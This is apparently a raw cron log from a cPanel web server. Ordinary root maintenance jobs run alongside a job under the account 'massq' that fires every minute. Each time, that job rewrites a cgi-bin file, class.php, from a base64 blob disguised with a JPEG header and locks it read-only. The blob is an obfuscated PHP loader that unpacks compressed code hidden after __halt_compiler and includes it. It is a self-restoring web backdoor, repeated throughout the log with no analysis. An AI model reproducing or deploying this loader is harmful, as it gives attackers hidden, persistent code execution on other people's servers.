Nov 12 17:04:01 server CROND[6291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:05:01 server CROND[7114]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 17:05:01 server CROND[7115]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 12 17:05:01 server CROND[7117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 17:05:01 server CROND[7116]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 17:05:01 server CROND[7121]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:06:01 server CROND[8039]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:07:01 server CROND[9057]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:08:01 server CROND[9870]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:09:01 server CROND[10721]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 17:09:01 server CROND[10722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:10:01 server CROND[11540]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:10:01 server CROND[11542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 17:10:01 server CROND[11541]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 17:10:01 server CROND[11544]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 17:11:01 server CROND[12217]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:12:01 server CROND[12962]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:12:01 server CROND[12963]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 17:13:01 server CROND[13772]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:14:01 server CROND[14677]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:15:01 server CROND[15508]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 17:15:01 server CROND[15509]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 17:15:01 server CROND[15510]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:16:01 server CROND[16382]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
